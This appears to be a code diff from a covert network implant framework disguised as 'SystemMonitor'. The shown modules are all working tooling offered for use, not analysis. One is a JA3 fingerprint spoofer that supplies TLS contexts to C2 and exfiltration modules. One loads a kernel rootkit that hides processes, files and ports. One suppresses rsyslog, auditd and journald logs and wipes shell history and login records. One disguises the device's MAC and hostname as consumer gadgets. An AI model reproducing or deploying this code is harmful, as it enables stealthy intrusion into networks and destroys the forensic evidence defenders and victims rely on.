# Select target profile based on network environment
if not self._active_profile:
self._active_profile = self._auto_select_profile()
profile = self._profiles.get(self._active_profile)
if not profile:
logger.warning("JA3 profile '%s' not found, using chrome_120_win", self._active_profile)
self._active_profile = "chrome_120_win"
profile = self._profiles["chrome_120_win"]
# Apply cipher suite ordering to Python SSL contexts
self._configure_ssl_context(profile)
# Set up iptables NFQUEUE for non-Python TLS (bettercap, mitmproxy)
if self._use_nfqueue:
self._setup_nfqueue()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info(
"JA3Spoofer active — profile: %s (%s)",
self._active_profile, profile.get("description", "unknown"),
)
def stop(self) -> None:
self._running = False
self._teardown_nfqueue()
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("JA3Spoofer stopped (modified %d packets)", self._packets_modified)
def status(self) -> dict:
profile = self._profiles.get(self._active_profile, {})
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"active_ja3_hash": profile.get("ja3_hash", "none"),
"target_browser": profile.get("description", "none"),
"active_profile": self._active_profile,
"packets_modified": self._packets_modified,
"nfqueue_active": self._nfqueue_proc is not None and self._nfqueue_proc.poll() is None,
"profiles_loaded": len(self._profiles),
}
def configure(self, config: dict) -> None:
if "target_profile" in config:
self._active_profile = config["target_profile"]
profile = self._profiles.get(self._active_profile)
if profile:
self._configure_ssl_context(profile)
logger.info("JA3 profile switched to: %s", self._active_profile)
# ------------------------------------------------------------------
# SSL context configuration (Python requests/urllib)
# ------------------------------------------------------------------
def _configure_ssl_context(self, profile: dict) -> None:
"""Configure the default Python SSL context with specific cipher ordering
to match the target JA3 fingerprint."""
try:
cipher_names = self._cipher_ids_to_openssl_names(profile.get("cipher_suites", []))
if not cipher_names:
logger.warning("No cipher names resolved for profile")
return
cipher_string = ":".join(cipher_names)
# Patch the default SSL context
ctx = ssl.create_default_context()
ctx.set_ciphers(cipher_string)
ctx.minimum_version = ssl.TLSVersion.TLSv1_2
# Store for other modules to use
self.state.set(self.name, "ssl_cipher_string", cipher_string)
self.state.set(self.name, "active_ja3", profile.get("ja3_hash", ""))
logger.debug("SSL context configured with %d ciphers", len(cipher_names))
except Exception:
logger.exception("Failed to configure SSL context")
@staticmethod
def _cipher_ids_to_openssl_names(cipher_ids: list[int]) -> list[str]:
"""Map TLS cipher suite IDs to OpenSSL names."""
# Mapping of common cipher suite IDs to OpenSSL names
id_to_name = {
0x1301: "TLS_AES_128_GCM_SHA256",
0x1302: "TLS_AES_256_GCM_SHA384",
0x1303: "TLS_CHACHA20_POLY1305_SHA256",
0xc02b: "ECDHE-ECDSA-AES128-GCM-SHA256",
0xc02f: "ECDHE-RSA-AES128-GCM-SHA256",
0xc02c: "ECDHE-ECDSA-AES256-GCM-SHA384",
0xc030: "ECDHE-RSA-AES256-GCM-SHA384",
0xcca9: "ECDHE-ECDSA-CHACHA20-POLY1305",
0xcca8: "ECDHE-RSA-CHACHA20-POLY1305",
0xc013: "ECDHE-RSA-AES128-SHA",
0xc014: "ECDHE-RSA-AES256-SHA",
0x009c: "AES128-GCM-SHA256",
0x009d: "AES256-GCM-SHA384",
0x002f: "AES128-SHA",
0x0035: "AES256-SHA",
}
names = []
for cid in cipher_ids:
name = id_to_name.get(cid)
if name:
names.append(name)
return names
# ------------------------------------------------------------------
# NFQUEUE interception (for non-Python TLS)
# ------------------------------------------------------------------
def _setup_nfqueue(self) -> None:
"""Set up iptables NFQUEUE rules to intercept outbound TLS ClientHello."""
try:
# Add iptables rule to queue outbound TLS (port 443) to NFQUEUE
rule = [
"iptables", "-I", "OUTPUT", "-p", "tcp",
"--dport", "443", "-m", "u32",
# Match TLS ClientHello: content type 0x16, handshake type 0x01
"--u32", "0>>22&0x3C@12>>26&0x3C@0=0x16030100:0x16030300",
"-j", "NFQUEUE", "--queue-num", str(self._nfqueue_num),
]
result = subprocess.run(rule, capture_output=True, timeout=10)
if result.returncode == 0:
self._iptables_rules.append(rule)
logger.info("NFQUEUE iptables rule installed (queue %d)", self._nfqueue_num)
else:
# Fallback: simpler rule without u32 match
rule_simple = [
"iptables", "-I", "OUTPUT", "-p", "tcp",
"--dport", "443", "--syn",
"-j", "NFQUEUE", "--queue-num", str(self._nfqueue_num),
]
result = subprocess.run(rule_simple, capture_output=True, timeout=10)
if result.returncode == 0:
self._iptables_rules.append(rule_simple)
logger.info("NFQUEUE simple iptables rule installed")
else:
logger.warning(
"Failed to install NFQUEUE iptables rule: %s",
result.stderr.decode(errors="replace"),
)
except FileNotFoundError:
logger.warning("iptables not found — NFQUEUE unavailable")
except Exception:
logger.exception("NFQUEUE setup failed")
def _teardown_nfqueue(self) -> None:
"""Remove iptables NFQUEUE rules."""
for rule in self._iptables_rules:
try:
# Replace -I with -D to delete
del_rule = list(rule)
idx = del_rule.index("-I")
del_rule[idx] = "-D"
subprocess.run(del_rule, capture_output=True, timeout=10)
except Exception:
logger.exception("Failed to remove iptables rule")
self._iptables_rules.clear()
if self._nfqueue_proc and self._nfqueue_proc.poll() is None:
self._nfqueue_proc.terminate()
try:
self._nfqueue_proc.wait(timeout=5)
except subprocess.TimeoutExpired:
self._nfqueue_proc.kill()
self._nfqueue_proc = None
# ------------------------------------------------------------------
# Profile selection
# ------------------------------------------------------------------
def _auto_select_profile(self) -> str:
"""Auto-select JA3 profile based on observed network environment."""
# Check state for OS distribution data from host_discovery
os_dist = self.state.get(self.name, "network_os_distribution")
if os_dist:
try:
dist = json.loads(os_dist) if isinstance(os_dist, str) else os_dist
# Windows-heavy network: use Chrome Windows
if dist.get("windows", 0) > dist.get("linux", 0):
return "chrome_120_win"
else:
return "chrome_120_linux"
except (json.JSONDecodeError, AttributeError):
pass
# Default: Chrome on Windows (most common on corporate networks)
return "chrome_120_win"
# ------------------------------------------------------------------
# External fingerprint database
# ------------------------------------------------------------------
def _load_fingerprint_db(self) -> None:
"""Load additional JA3 profiles from data/ja3_fingerprints.db if present."""
db_path = "data/ja3_fingerprints.db"
if not os.path.isfile(db_path):
logger.debug("No external JA3 database at %s — using builtins", db_path)
return
try:
import sqlite3
conn = sqlite3.connect(db_path)
conn.row_factory = sqlite3.Row
rows = conn.execute(
"SELECT name, ja3_hash, description, cipher_suites, extensions, "
"elliptic_curves, ec_point_formats FROM ja3_profiles"
).fetchall()
for row in rows:
name = row["name"]
self._profiles[name] = {
"ja3_hash": row["ja3_hash"],
"description": row["description"],
"cipher_suites": json.loads(row["cipher_suites"]),
"extensions": json.loads(row["extensions"]),
"elliptic_curves": json.loads(row["elliptic_curves"]),
"ec_point_formats": json.loads(row["ec_point_formats"]),
}
conn.close()
logger.info("Loaded %d JA3 profiles from database", len(rows))
except Exception:
logger.exception("Failed to load JA3 fingerprint database")
# ------------------------------------------------------------------
# Public: get SSL context for other modules
# ------------------------------------------------------------------
def get_ssl_context(self) -> ssl.SSLContext:
"""Return an SSL context configured with the active JA3 profile's ciphers.
Other modules (C2, exfil) should use this for outbound HTTPS."""
profile = self._profiles.get(self._active_profile, {})
ctx = ssl.create_default_context()
cipher_names = self._cipher_ids_to_openssl_names(profile.get("cipher_suites", []))
if cipher_names:
try:
ctx.set_ciphers(":".join(cipher_names))
except ssl.SSLError:
pass # Fall back to default ciphers
ctx.minimum_version = ssl.TLSVersion.TLSv1_2
return ctx
+293
View File
@@ -0,0 +1,293 @@
#!/usr/bin/env python3
"""LKM rootkit module: compile, load, and manage a kernel module that hides
SystemMonitor processes, files, and network connections from userland."""
import logging
import os
import subprocess
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.resource import get_hardware_tier, TIER_GENERIC
logger = logging.getLogger(__name__)
LKM_TEMPLATE_DIR = "templates/lkm"
LKM_SOURCE = "bb_hide.c"
LKM_MODULE = "bb_hide.ko"
LKM_MODULE_NAME = "bb_hide"
# Default hide lists
DEFAULT_HIDE_PREFIX = ".cache/bb"
DEFAULT_HIDE_PORTS = [8081, 51820] # bettercap API, WireGuard
class LKMRootkit(BaseModule):
"""Manage a Linux kernel module for process/file/connection hiding.
Debian generic host only -- gracefully skips on SBC tiers."""
name = "lkm_rootkit"
module_type = "stealth"
priority = -300
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._lkm_dir = config.get("lkm_dir", LKM_TEMPLATE_DIR)
self._module_path = os.path.join(self._lkm_dir, LKM_MODULE)
self._loaded = False
self._hidden_pids: list[int] = []
self._hidden_paths: list[str] = config.get("hide_paths", [DEFAULT_HIDE_PREFIX])
self._hidden_ports: list[int] = config.get("hide_ports", list(DEFAULT_HIDE_PORTS))
self._hide_process_names: list[str] = config.get("hide_process_names", [
"systemd-thermald", "networkd-dispatcher", "systemd-netlogd",
"systemd-resolved", "systemd-networkd", "systemd-logind",
])
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
# Check hardware tier: LKM only on generic Debian hosts
tier = get_hardware_tier()
if tier != TIER_GENERIC:
logger.info(
"LKMRootkit skipped — tier '%s' does not support kernel modules "
"(requires 'generic' Debian host)", tier,
)
self.state.set_module_status(self.name, "skipped",
extra={"reason": f"unsupported_tier:{tier}"})
self.bus.emit("MODULE_STARTED", {
"module": self.name, "skipped": True, "reason": "unsupported_tier",
}, source_module=self.name)
return
# Build if needed
if not os.path.isfile(self._module_path):
if not self._build_module():
logger.error("LKM build failed — module not available")
self.state.set_module_status(self.name, "error",
extra={"reason": "build_failed"})
return
# Load module
if self._load_module():
self._loaded = True
self._configure_hide_lists()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info("LKMRootkit loaded and configured")
else:
self.state.set_module_status(self.name, "error",
extra={"reason": "load_failed"})
def stop(self) -> None:
self._running = False
if self._loaded:
self._unload_module()
self._loaded = False
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("LKMRootkit stopped")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"loaded": self._loaded,
"hidden_pids": list(self._hidden_pids),
"hidden_paths": list(self._hidden_paths),
"hidden_ports": list(self._hidden_ports),
"module_path": self._module_path,
}
def configure(self, config: dict) -> None:
if "hide_paths" in config:
self._hidden_paths = config["hide_paths"]
if "hide_ports" in config:
self._hidden_ports = config["hide_ports"]
if "hide_process_names" in config:
self._hide_process_names = config["hide_process_names"]
if self._loaded:
self._configure_hide_lists()
# ------------------------------------------------------------------
# Public: dynamic hide/unhide
# ------------------------------------------------------------------
def hide_pid(self, pid: int) -> bool:
"""Add a PID to the kernel module's hide list."""
if not self._loaded:
return False
if pid not in self._hidden_pids:
self._hidden_pids.append(pid)
return self._write_param("hide_pids", self._format_pid_list())
return True
def unhide_pid(self, pid: int) -> bool:
"""Remove a PID from the kernel module's hide list."""
if not self._loaded:
return False
if pid in self._hidden_pids:
self._hidden_pids.remove(pid)
return self._write_param("hide_pids", self._format_pid_list())
return True
def hide_port(self, port: int) -> bool:
"""Add a port to the kernel module's hide list."""
if not self._loaded:
return False
if port not in self._hidden_ports:
self._hidden_ports.append(port)
return self._write_param("hide_ports", self._format_port_list())
return True
# ------------------------------------------------------------------
# Internal: build
# ------------------------------------------------------------------
def _build_module(self) -> bool:
"""Compile the kernel module from source."""
source_path = os.path.join(self._lkm_dir, LKM_SOURCE)
if not os.path.isfile(source_path):
logger.error("LKM source not found: %s", source_path)
return False
# Check for kernel headers
kdir = f"/lib/modules/{os.uname().release}/build"
if not os.path.isdir(kdir):
logger.error("Kernel headers not found: %s", kdir)
return False
try:
result = subprocess.run(
["make", "-C", self._lkm_dir],
capture_output=True, timeout=120,
env={**os.environ, "KDIR": kdir},
)
if result.returncode == 0:
logger.info("LKM built successfully: %s", self._module_path)
return True
else:
logger.error(
"LKM build failed (rc=%d): %s",
result.returncode,
result.stderr.decode(errors="replace")[:500],
)
return False
except FileNotFoundError:
logger.error("make not found — cannot build LKM")
return False
except subprocess.TimeoutExpired:
logger.error("LKM build timed out")
return False
# ------------------------------------------------------------------
# Internal: load/unload
# ------------------------------------------------------------------
def _load_module(self) -> bool:
"""Load the kernel module via insmod."""
params = self._build_insmod_params()
try:
cmd = ["insmod", self._module_path] + params
result = subprocess.run(cmd, capture_output=True, timeout=30)
if result.returncode == 0:
logger.info("LKM loaded: %s", self._module_path)
return True
else:
stderr = result.stderr.decode(errors="replace")
if "File exists" in stderr:
logger.info("LKM already loaded")
return True
logger.error("insmod failed: %s", stderr[:300])
return False
except FileNotFoundError:
logger.error("insmod not found")
return False
except Exception:
logger.exception("LKM load failed")
return False
def _unload_module(self) -> bool:
"""Unload the kernel module via rmmod."""
try:
result = subprocess.run(
["rmmod", LKM_MODULE_NAME],
capture_output=True, timeout=30,
)
if result.returncode == 0:
logger.info("LKM unloaded")
return True
else:
logger.warning(
"rmmod failed: %s",
result.stderr.decode(errors="replace")[:200],
)
return False
except FileNotFoundError:
logger.error("rmmod not found")
return False
except Exception:
logger.exception("LKM unload failed")
return False
# ------------------------------------------------------------------
# Internal: module parameter management
# ------------------------------------------------------------------
def _build_insmod_params(self) -> list[str]:
"""Build insmod parameter list."""
params = []
if self._hidden_paths:
params.append(f'hide_prefix="{self._hidden_paths[0]}"')
if self._hidden_pids:
params.append(f'hide_pids="{self._format_pid_list()}"')
if self._hidden_ports:
params.append(f'hide_ports="{self._format_port_list()}"')
return params
def _configure_hide_lists(self) -> None:
"""Write current hide lists to loaded module's parameters via sysfs."""
if not self._loaded:
return
# Collect current SystemMonitor PIDs from state
try:
all_status = self.state.get_all_module_status()
for mod_name, mod_status in all_status.items():
pid = mod_status.get("pid")
if pid and pid not in self._hidden_pids:
self._hidden_pids.append(pid)
except Exception:
pass
self._write_param("hide_pids", self._format_pid_list())
self._write_param("hide_ports", self._format_port_list())
if self._hidden_paths:
self._write_param("hide_prefix", self._hidden_paths[0])
@staticmethod
def _write_param(param: str, value: str) -> bool:
"""Write to kernel module parameter via /sys/module/."""
param_path = f"/sys/module/{LKM_MODULE_NAME}/parameters/{param}"
try:
with open(param_path, "w") as f:
f.write(value)
return True
except (IOError, PermissionError, FileNotFoundError):
logger.debug("Cannot write LKM param %s (module may not expose sysfs params)", param)
return False
def _format_pid_list(self) -> str:
return ",".join(str(p) for p in self._hidden_pids)
def _format_port_list(self) -> str:
return ",".join(str(p) for p in self._hidden_ports)
+331
View File
@@ -0,0 +1,331 @@
#!/usr/bin/env python3
"""Log suppression module — minimize forensic artifacts in system logs.
Installs rsyslog filter rules, auditd exclusions, journald rate limits,
and clears shell history / login records related to SystemMonitor activity.
All installed rules are removed on clean stop.
"""
import logging
import os
import subprocess
import time
from pathlib import Path
from typing import Dict, List
from modules.base import BaseModule
logger = logging.getLogger(__name__)
RSYSLOG_CONF = "/etc/rsyslog.d/01-bb-suppress.conf"
JOURNALD_CONF_DIR = "/etc/systemd/journald.conf.d"
JOURNALD_CONF = os.path.join(JOURNALD_CONF_DIR, "sensor.conf")
AUDITD_RULES_FILE = "/etc/audit/rules.d/bb-exclude.rules"
class LogSuppression(BaseModule):
"""Suppress system log entries that could reveal SystemMonitor activity."""
name = "log_suppression"
module_type = "stealth"
priority = -300
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._installed: Dict[str, bool] = {
"rsyslog": False,
"auditd": False,
"journald": False,
"history": False,
"utmp": False,
}
self._process_names: List[str] = []
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
# Gather process names to suppress from stealth.yaml config
stealth_cfg = self.config.get("stealth_yaml", {})
name_map = stealth_cfg.get("process_names", {})
# Suppress both the real names and the fake names
self._process_names = list(set(list(name_map.keys()) + list(name_map.values())))
if not self._process_names:
self._process_names = [
"python3", "bettercap", "tcpdump", "responder", "mitmproxy",
"ntlmrelayx", "hostapd", "dnsmasq",
"systemd-thermald", "networkd-dispatcher", "systemd-netlogd",
"systemd-resolved", "systemd-networkd", "systemd-logind",
"wpa_supplicant",
]
# Also suppress paths
install_path = self.config.get("device", {}).get("install_path", "/opt/.cache/bb")
self._suppressed_paths = [install_path, "/opt/.cache/bb", "/tmp/bb-"]
suppression_cfg = stealth_cfg.get("log_suppression", {})
# Install rsyslog filter
if suppression_cfg.get("rsyslog_filter", True):
self._install_rsyslog_filter()
# Install auditd exclusions
if suppression_cfg.get("auditd_exclusion", True):
self._install_auditd_exclusions()
# Configure journald rate limits
if suppression_cfg.get("journald_rate_limit", True):
self._install_journald_config()
# Clear shell history
self._clear_history()
# Clear utmp/wtmp/btmp entries
self._clear_login_records()
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=os.getpid())
active = [k for k, v in self._installed.items() if v]
logger.info("LogSuppression active — methods: %s", ", ".join(active))
def stop(self) -> None:
if not self._running:
return
# Remove installed filter rules (clean exit)
self._remove_rsyslog_filter()
self._remove_auditd_exclusions()
self._remove_journald_config()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("LogSuppression stopped — all filter rules removed")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"suppression_methods": dict(self._installed),
"suppressed_process_count": len(self._process_names),
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# rsyslog filter
# ------------------------------------------------------------------
def _install_rsyslog_filter(self) -> None:
"""Write rsyslog config to drop log entries matching our processes/paths."""
try:
lines = [
"# SystemMonitor log suppression — auto-generated, removed on clean exit",
"# Drop messages containing our process names or paths",
]
for name in self._process_names:
# Property-based rsyslog filter: discard matching programname
lines.append(f':programname, isequal, "{name}" stop')
for path in self._suppressed_paths:
# Drop messages containing our install paths
lines.append(f':msg, contains, "{path}" stop')
with open(RSYSLOG_CONF, "w") as f:
f.write("\n".join(lines) + "\n")
# Restart rsyslog to apply
subprocess.run(
["systemctl", "restart", "rsyslog"],
capture_output=True, timeout=10,
)
self._installed["rsyslog"] = True
logger.debug("rsyslog filter installed at %s", RSYSLOG_CONF)
except (IOError, PermissionError, subprocess.SubprocessError) as exc:
logger.warning("Failed to install rsyslog filter: %s", exc)
def _remove_rsyslog_filter(self) -> None:
"""Remove rsyslog filter config."""
try:
if os.path.isfile(RSYSLOG_CONF):
os.unlink(RSYSLOG_CONF)
subprocess.run(
["systemctl", "restart", "rsyslog"],
capture_output=True, timeout=10,
)
self._installed["rsyslog"] = False
logger.debug("rsyslog filter removed")
except (IOError, PermissionError, subprocess.SubprocessError):
pass
# ------------------------------------------------------------------
# auditd exclusions
# ------------------------------------------------------------------
def _install_auditd_exclusions(self) -> None:
"""Write auditd rules excluding SystemMonitor PIDs and paths."""
try:
rules_dir = os.path.dirname(AUDITD_RULES_FILE)
if not os.path.isdir(rules_dir):
logger.debug("auditd rules directory not found — skipping")
return
lines = [
"# SystemMonitor auditd exclusions — auto-generated",
]
# Exclude our install path from file watches
for path in self._suppressed_paths:
lines.append(f"-a never,exclude -F dir={path}")
# Exclude our process names from execve auditing
for name in self._process_names:
lines.append(f"-a never,exclude -F exe=/usr/bin/{name}")
# Exclude current PID and parent
lines.append(f"-a never,exclude -F pid={os.getpid()}")
ppid = os.getppid()
if ppid > 1:
lines.append(f"-a never,exclude -F pid={ppid}")
with open(AUDITD_RULES_FILE, "w") as f:
f.write("\n".join(lines) + "\n")
# Reload auditd rules
subprocess.run(
["augenrules", "--load"],
capture_output=True, timeout=10,
)
self._installed["auditd"] = True
logger.debug("auditd exclusions installed at %s", AUDITD_RULES_FILE)
except (IOError, PermissionError, subprocess.SubprocessError) as exc:
logger.warning("Failed to install auditd exclusions: %s", exc)
def _remove_auditd_exclusions(self) -> None:
"""Remove auditd exclusion rules."""
try:
if os.path.isfile(AUDITD_RULES_FILE):
os.unlink(AUDITD_RULES_FILE)
subprocess.run(
["augenrules", "--load"],
capture_output=True, timeout=10,
)
self._installed["auditd"] = False
logger.debug("auditd exclusions removed")
except (IOError, PermissionError, subprocess.SubprocessError):
pass
# ------------------------------------------------------------------
# journald rate limits
# ------------------------------------------------------------------
def _install_journald_config(self) -> None:
"""Set journald rate limits to suppress burst logging."""
try:
os.makedirs(JOURNALD_CONF_DIR, exist_ok=True)
config_lines = [
"# SystemMonitor journald rate-limit — auto-generated",
"[Journal]",
"RateLimitIntervalSec=5s",
"RateLimitBurst=5",
"MaxRetentionSec=1day",
"MaxFileSec=1day",
"Compress=yes",
"Storage=volatile",
]
with open(JOURNALD_CONF, "w") as f:
f.write("\n".join(config_lines) + "\n")
# Restart journald to apply
subprocess.run(
["systemctl", "restart", "systemd-journald"],
capture_output=True, timeout=10,
)
self._installed["journald"] = True
logger.debug("journald config installed at %s", JOURNALD_CONF)
except (IOError, PermissionError, subprocess.SubprocessError) as exc:
logger.warning("Failed to install journald config: %s", exc)
def _remove_journald_config(self) -> None:
"""Remove journald config override."""
try:
if os.path.isfile(JOURNALD_CONF):
os.unlink(JOURNALD_CONF)
subprocess.run(
["systemctl", "restart", "systemd-journald"],
capture_output=True, timeout=10,
)
self._installed["journald"] = False
logger.debug("journald config removed")
except (IOError, PermissionError, subprocess.SubprocessError):
pass
# ------------------------------------------------------------------
# Shell history
# ------------------------------------------------------------------
def _clear_history(self) -> None:
"""Clear bash history and prevent future recording."""
try:
os.environ["HISTFILE"] = "/dev/null"
os.environ["HISTSIZE"] = "0"
os.environ["HISTFILESIZE"] = "0"
# Clear existing history files
history_files = [
os.path.expanduser("~/.bash_history"),
"/root/.bash_history",
os.path.expanduser("~/.zsh_history"),
"/root/.zsh_history",
]
for hf in history_files:
try:
if os.path.isfile(hf):
with open(hf, "w") as f:
f.truncate(0)
except (IOError, PermissionError):
pass
self._installed["history"] = True
logger.debug("Shell history cleared and disabled")
except Exception as exc:
logger.warning("Failed to clear history: %s", exc)
# ------------------------------------------------------------------
# Login records (utmp/wtmp/btmp)
# ------------------------------------------------------------------
def _clear_login_records(self) -> None:
"""Clear utmp/wtmp/btmp entries that could reveal SystemMonitor sessions."""
record_files = [
"/var/run/utmp",
"/var/log/wtmp",
"/var/log/btmp",
"/var/log/lastlog",
]
cleared = False
for rf in record_files:
try:
if os.path.isfile(rf):
# Truncate rather than delete to preserve file ownership/perms
with open(rf, "r+b") as f:
f.truncate(0)
cleared = True
except (IOError, PermissionError):
pass
if cleared:
self._installed["utmp"] = True
logger.debug("Login records cleared (utmp/wtmp/btmp)")
+380
View File
@@ -0,0 +1,380 @@
#!/usr/bin/env python3
"""Innocuous MAC profile manager — select and apply a believable device identity.
Queries data/innocuous_macs.db for consumer device profiles (Fire TV, iPhone,
printers, etc.), sets MAC + DHCP hostname + vendor class + TCP stack params to
match the selected device. The goal: look like something that belongs on every
network.
"""
import json
import logging
import os
import random
import socket
import sqlite3
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.networking import (
get_mac,
detect_interface_with_retry,
get_wifi_interfaces,
set_mac,
)
from utils.stealth import set_sysctl, set_tcp_timestamps, set_tcp_window, set_ttl
logger = logging.getLogger(__name__)
# Category preferences per network type
_BUSINESS_CATEGORIES = ("printers", "network", "smart_home")
_HOME_CATEGORIES = ("streaming", "smart_home", "phones", "gaming")
_DEFAULT_CATEGORIES = ("streaming", "smart_home", "phones")
# Map config shorthand to DB device_type values
_CATEGORY_MAP = {
"streaming": ("smart_tv", "streaming"),
"phones": ("phone", "tablet"),
"smart_home": ("smart_speaker", "iot"),
"printers": ("printer",),
"gaming": ("gaming",),
"network": ("printer", "iot"),
}
class MacManager(BaseModule):
"""Select and apply a consumer-device MAC profile for network blending."""
name = "mac_manager"
module_type = "stealth"
priority = -400
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._profile: Optional[dict] = None
self._eth_iface: Optional[str] = None
self._wifi_iface: Optional[str] = None
self._original_eth_mac: Optional[str] = None
self._original_wifi_mac: Optional[str] = None
self._original_hostname: Optional[str] = None
self._db_path = self._resolve_db_path()
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._eth_iface = self.config.get("network", {}).get(
"primary_interface", "auto"
)
if self._eth_iface == "auto":
self._eth_iface = detect_interface_with_retry(
max_retries=3,
retry_delay=5,
exponential=True,
config_interface=None
)
wifi_ifaces = get_wifi_interfaces()
wifi_cfg = self.config.get("network", {}).get("wifi", {}).get("interface", "wlan0")
self._wifi_iface = wifi_cfg if wifi_cfg in wifi_ifaces else (wifi_ifaces[0] if wifi_ifaces else None)
# Save originals for restore on stop
if self._eth_iface:
try:
self._original_eth_mac = get_mac(self._eth_iface)
except Exception:
pass
if self._wifi_iface:
try:
self._original_wifi_mac = get_mac(self._wifi_iface)
except Exception:
pass
self._original_hostname = socket.gethostname()
# Select and apply profile
self._profile = self._select_profile()
if self._profile is None:
logger.warning("No MAC profile found — using random consumer OUI fallback")
self._profile = self._fallback_profile()
self._apply_profile(self._profile)
# Persist for other modules
self.state.set(self.name, "profile", json.dumps(self._profile))
self.state.set_module_status(self.name, "running", pid=os.getpid())
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
logger.info(
"MAC profile applied: %s (%s) — MAC %s, hostname %s",
self._profile.get("device_name", "unknown"),
self._profile.get("vendor", "unknown"),
self._profile.get("applied_mac", "?"),
self._profile.get("dhcp_hostname", "?"),
)
def stop(self) -> None:
if not self._running:
return
# Restore original MACs on clean exit — skip WiFi interfaces to avoid
# dropping the active association.
wifi_ifaces = set(get_wifi_interfaces())
try:
if self._eth_iface and self._original_eth_mac and self._eth_iface not in wifi_ifaces:
set_mac(self._eth_iface, self._original_eth_mac)
if (self._wifi_iface and self._original_wifi_mac
and self._wifi_iface != self._eth_iface
and self._wifi_iface not in wifi_ifaces):
set_mac(self._wifi_iface, self._original_wifi_mac)
except Exception as exc:
logger.warning("Failed to restore original MAC: %s", exc)
self._cleanup_dhclient_conf()
if self._original_hostname:
try:
import subprocess
subprocess.run(
["hostnamectl", "set-hostname", self._original_hostname],
check=True, capture_output=True,
)
logger.debug("Hostname restored to %s", self._original_hostname)
except Exception:
pass
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("MacManager stopped — original MACs restored")
def status(self) -> dict:
base = {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
}
if self._profile:
base["profile_name"] = self._profile.get("device_name", "unknown")
base["applied_mac"] = self._profile.get("applied_mac", "unknown")
base["dhcp_hostname"] = self._profile.get("dhcp_hostname", "unknown")
if self._profile.get("applied_hostname"):
base["applied_hostname"] = self._profile["applied_hostname"]
if self._eth_iface:
try:
base["current_eth_mac"] = get_mac(self._eth_iface)
except Exception:
base["current_eth_mac"] = "error"
return base
def configure(self, config: dict) -> None:
self.config.update(config)
if self._running:
# Re-select and apply on config change
self._profile = self._select_profile()
if self._profile:
self._apply_profile(self._profile)
self.state.set(self.name, "profile", json.dumps(self._profile))
# ------------------------------------------------------------------
# Profile selection
# ------------------------------------------------------------------
def _resolve_db_path(self) -> str:
"""Locate innocuous_macs.db relative to project root."""
candidates = [
os.path.join(os.path.dirname(__file__), "..", "..", "data", "innocuous_macs.db"),
"/opt/.cache/bb/data/innocuous_macs.db",
]
for p in candidates:
resolved = os.path.realpath(p)
if os.path.isfile(resolved):
return resolved
# Default — will be created/populated by setup
return os.path.realpath(candidates[0])
def _select_profile(self) -> Optional[dict]:
"""Select a MAC profile from the database based on config."""
if not os.path.isfile(self._db_path):
logger.warning("innocuous_macs.db not found at %s", self._db_path)
return None
stealth_cfg = self.config.get("stealth", {})
mac_profile = stealth_cfg.get("mac_profile", "auto")
network_type = stealth_cfg.get("mac_network_type", "auto")
conn = sqlite3.connect(self._db_path)
conn.row_factory = sqlite3.Row
try:
if mac_profile not in ("auto", None) and mac_profile not in _CATEGORY_MAP:
# Specific device name requested
row = conn.execute(
"SELECT * FROM mac_profiles WHERE device_name = ? LIMIT 1",
(mac_profile,),
).fetchone()
if row:
return dict(row)
# Category-based selection
if mac_profile == "auto" or mac_profile is None:
categories = self._pick_categories(network_type)
else:
categories = _CATEGORY_MAP.get(mac_profile, _DEFAULT_CATEGORIES)
placeholders = ",".join("?" for _ in categories)
rows = conn.execute(
f"SELECT * FROM mac_profiles WHERE device_type IN ({placeholders})",
categories,
).fetchall()
if rows:
return dict(random.choice(rows))
return None
except sqlite3.OperationalError:
logger.warning("mac_profiles table missing — DB not seeded, using fallback")
return None
finally:
conn.close()
def _pick_categories(self, network_type: str) -> tuple:
"""Choose device categories appropriate for the network type."""
if network_type == "business":
cat_keys = _BUSINESS_CATEGORIES
elif network_type == "home":
cat_keys = _HOME_CATEGORIES
else:
# Auto: default safe categories
cat_keys = _DEFAULT_CATEGORIES
types = []
for key in cat_keys:
types.extend(_CATEGORY_MAP.get(key, ()))
return tuple(types)
def _fallback_profile(self) -> dict:
"""Generate a plausible fallback profile without the database."""
# Amazon Fire TV Stick OUI
oui = "FC:65:DE"
suffix = ":".join(f"{random.randint(0, 255):02x}" for _ in range(3))
return {
"device_type": "streaming",
"vendor": "Amazon",
"device_name": "Fire TV Stick 4K",
"oui": oui,
"dhcp_hostname": "amazon-fire-tv",
"dhcp_vendor_class": "amazon-fire-tv-stick",
"ttl": 64,
"tcp_window": 65535,
}
# ------------------------------------------------------------------
# Apply profile to system
# ------------------------------------------------------------------
def _apply_profile(self, profile: dict) -> None:
"""Set MAC, DHCP config, TCP stack to match the selected profile."""
